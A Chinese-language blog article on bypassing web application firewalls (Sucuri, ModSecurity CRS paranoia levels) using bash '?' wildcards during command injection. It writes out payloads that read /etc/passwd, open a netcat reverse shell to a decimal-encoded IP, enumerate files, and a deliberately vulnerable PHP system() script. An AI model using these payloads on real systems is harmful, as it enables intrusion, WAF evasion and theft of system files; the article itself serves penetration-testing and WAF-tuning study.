前言
我可以用
<code>/???/??t /???/??ss??/<code>
讀取你的passwd文件。享受Sucuri WAF，ModSecurity，Paranoia等等waf帶來的的樂趣......
ps：mac上好像不太行，按道理應該也可以啊。
在Web應用程序中發現遠程命令執行漏洞並不是很少見，並且OWASP Top 10-2017將sql inject置於第一個位置：
當不受信任的數據作為命令或查詢的一部分發送到解釋器時，就會發生注入，例如SQL，NoSQL，OS和LDAP注入。攻擊者的惡意數據可以欺騙解釋器在沒有適當授權的情況下執行非預期的命令或訪問數據。
所有現代Web應用程序防火牆都能夠攔截（甚至阻止）RCE嘗試，但是當它發生在Linux系統中時，我們有很多方法可以逃避WAF規則集。滲透測試人員最好的朋友不是狗......它的名字是通配符。在開始做WAPT之前，我想告訴你一些你可能不瞭解bash和通配符的事情。
關於通配符你不知道的事
各種命令行實用程序使用Bash標準通配符（也稱為通配模式）來處理多個文件。有關標準通配符的更多信息，請通過鍵入參考手冊頁man 7 glob。不是每個人都知道有很多bash語法使你能夠使用問號？，正斜槓/，數字和字母來執行系統命令。您甚至可以使用相同數量的字符枚舉文件並獲取其內容。怎麼樣？我舉幾個例子：執行ls命令，您可以使用以下語法：
使用這種語法，您可以執行基本上所需的一切。比方說，你的脆弱的目標是一個Web應用防火牆的後面，這WAF有一個規則，包含塊的所有請求/etc/passwd或/bin/ls GET參數的值內或身體內部的POST請求。如果你試圖提出一個請求，/?cmd=cat+/etc/passwd它會被目標WAF阻止，你的IP將被永久禁止並被標記為另一個f *** in'redteamer'。但是你的口袋裡有一個叫做通配符的秘密武器。如果你很幸運（不太幸運，我們後面會說到），目標WAF沒有足夠的嚴格，來阻止像?和/在查詢字符串中。因此，您可以輕鬆地發出您的請求（網址編碼），如下所示：/?cmd=%2f???%2f??t%20%2f???%2fp??s??
正如您在上面的屏幕截圖中看到的那樣，有3個錯誤/bin/cat *：是一個目錄。發生這種情況是因為/???/??t可以通過整合過程轉換到/bin/cat或者/dev/net,/etc/apt 等等....
問號通配符僅代表一個可以是任何字符的字符。因此，如果您知道文件名的一部分而不是一個字母，那麼您可以使用此通配符。例如ls *.???，列出當前目錄中擴展名為3個字符的所有文件。因此，將列出具有.gif，.jpg，.txt等擴展名的文件。
使用此通配符，您可以使用netcat執行反向shell。假設您需要在端口1337（通常nc -e /bin/bash 127.0.0.1 1337）執行反向shell到127.0.0.1 ，您可以使用以下語法執行此操作：/???/n? -e /???/b??h 2130706433 1337
以long格式（2130706433）轉換IP地址127.0.0.1，可以避免在HTTP請求中使用.字符。
在我的kali中我需要使用nc.traditional而不是nc沒有-e參數，以便/bin/bash在連接後執行。payload變成這樣：
<code>/???/?c.??????????? -e /???/b??h 2130706433 1337/<code>
下面我們剛剛看到的兩個命令的一些摘要：
<code>標準：/bin/nc 127.0.0.1 1337
bypass：/???/n? 2130706433 1337
使用的字符：/ ? n [0-9]
標準：/bin/cat /etc/passwd
bypass：/???/??t /???/??ss??
使用的字符：/ ? t s
為什麼用?而不是*,因為星號（*）被廣泛用於註釋語法（類似/*嘿，我是註釋*/），許多WAF阻止它以避免SQL注入...類似於UNION + SELECT + 1,2,3 /*/<code>
使用echo？枚舉文件和目錄？是的你可以。該echo命令可以使用通配符枚舉文件系統上的文件和目錄。例如echo /*/*ss*
這可以在RCE上使用，以便在目標系統上獲取文件和目錄，例如：
但是為什麼使用通配符（特別是問號）可以逃避WAF規則集？讓我先從Sucuri WAF開始吧！
Sucuri WAF bypass
哪種測試WAF規則集的最佳方法是什麼？創建世界上最易受攻擊的PHP腳本並嘗試所有可能的技術！在上面的屏幕截圖中，我們有：在左上方的窗格中有我醜陋的Web應用程序（它只是一個執行命令的PHP腳本）：
<code> echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);/<code>
在左下方的窗格中，您可以在我的網站上看到由Sucuri WAF（test1.unicresit.it）保護的遠程命令執行測試。正如您所看到的，Sucuri阻止了我的請求，原因是檢測到並阻止了嘗試的RFI/LFI。這個原因並不完全正確，但好消息是WAF阻止了我的攻擊（我甚至不知道為什麼防火牆會告訴我阻止請求的原因，但應該有一個理由......）。
右側窗格是最有趣的，因為它顯示相同的請求，但使用問號作為通配符。結果令人恐懼...... Sucuri WAF接受了請求，我的應用程序執行了我輸入c參數的命令。現在我可以讀取/etc/passwd文件甚至更多...我可以閱讀應用程序本身的PHP源代碼，我可以使用netcat（或者我喜歡稱之為/???/?c）來執行反向shell ，或者我可以執行類似curl或wget按順序的程序顯示Web服務器的真實IP地址，使我能夠通過直接連接到目標來繞過WAF。
我不知道是否會發生這種情況，因為我在Sucuri WAF配置上遺漏了一些內容，但似乎沒有...我已經在Sucuri問過這是否是一種有人參與的行為，以及他們是否配置了默認的低等級以避免錯誤，但我還在等待答案。
請記住，我正在使用一個不代表真實場景的愚蠢PHP腳本進行此測試。恕我直言，你不應該根據它阻止的請求來判斷一個WAF，而且Sucuri的安全性並不高，因為它不能完全保護一個故意易受攻擊的網站。做了必要的說明！
ModSecurity OWASP CRS 3.0
我真的很喜歡ModSecurity，我認為與Nginx和Nginx連接器一起使用的新libmodsecurity（v3）是我用過的最佳解決方案，用於部署Web應用程序防火牆。我也是OWASP核心規則集的忠實粉絲！我到處都用它但是，如果你不太瞭解這個規則集，你需要注意一個叫做愛的小東西..嗯對不起妄想症又犯了！
嚴格模式
您可以在此處找到的以下模式 很好地概述了每個級別如何處理“請求協議強制執行”規則。正如您在PL1中看到的那樣，查詢字符串只能包含1-255範圍內的ASCII字符，並且它會變得更加嚴格，直到PL4阻止非常小範圍內的非ASCII字符
<code># -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE/<code>
讓我們對所有級別進行一些測試！
PL0
等級0表示禁用了許多規則，因此我們的payload可以毫無問題地導致遠程命令執行，這是絕對正常的。問題不大，不要慌:)
<code>SecAction "id:999,\\
phase:1,\\
nolog,\\
pass,\\
t:none,\\
setvar:tx.paranoia_level=0"/<code>
PL1, PL2
我已將1級和2級分組，因為它們的差異（如上圖所示）不會影響我們的目標，所有行為都與下面描述的相同。
<code>SecAction "id:999,\\
phase:1,\\
nolog,\\
pass,\\
t:none,\\
setvar:tx.paranoia_level=1"/<code>
使用PL1（和PL2）ModSecurity顯然阻止了我對OS File Access Attempt的請求（930120）。但是，如果我將問號用作通配符怎麼辦？該請求被我的WAF通過了：
發生這種情況是因為“問號”，正斜槓和空格都在規則920271和920272的字符範圍內。此外，使用問號代替命令語法使我能夠逃避攔截操作系統的常見命令和文件（例如我們的/etc/passwd）。
PL3
這種模式它阻止包含？等字符的請求超過n次。事實上，我的請求已被阻止為元字符異常檢測警報 - 重複非字符。這很酷！很強的ModSecurity，你贏了一隻泰迪熊！但不幸的是，我的網絡應用程序是如此醜陋和易受攻擊，我可以使用較少的問號並使用以下語法讀取passwd文件：c=/?in/cat+/et?/passw?
正如你所看到的，只使用3個？問號我就bypass了這個級別並讀取目標系統內的passwd文件。好吧，這並不意味著你必須始終無條件地將你的等級設置為4。請記住，我正在使用一個非常愚蠢的PHP腳本來測試它，這個腳本並不代表真實場景...我希望......你懂的.....
現在每個人都知道42是生命，宇宙和一切的答案。但是那樣：你會bypass PL4的OWASP規則集嗎？
PL4
基本上沒有，我做不到。範圍之外的所有字符a-z A-Z 0–9都被阻止！沒辦法......相信我，當你需要執行一個命令來讀取文件時，有90％的概率你需要一個空格字符或正斜槓.
最後的想法
回到靜態HTML頁面......這是提高Web應用程序安全性的最快方法！很難說 避免bypass WAF的最佳配置是什麼，或者使用什麼waf最好。恕我直言，我們不應該信任在Web應用程序上均勻分佈的規則集。實際上，我認為我們應該根據應用程序功能配置我們的WAF規則。
無論如何，當你在ModSecurity上寫一個新的SecRule時，請記住，可能有很多方法可以避開你的過濾器/正則表達式。所以寫下來我怎麼能逃避這個規則？。
閱讀更多 暗影實驗室 的文章
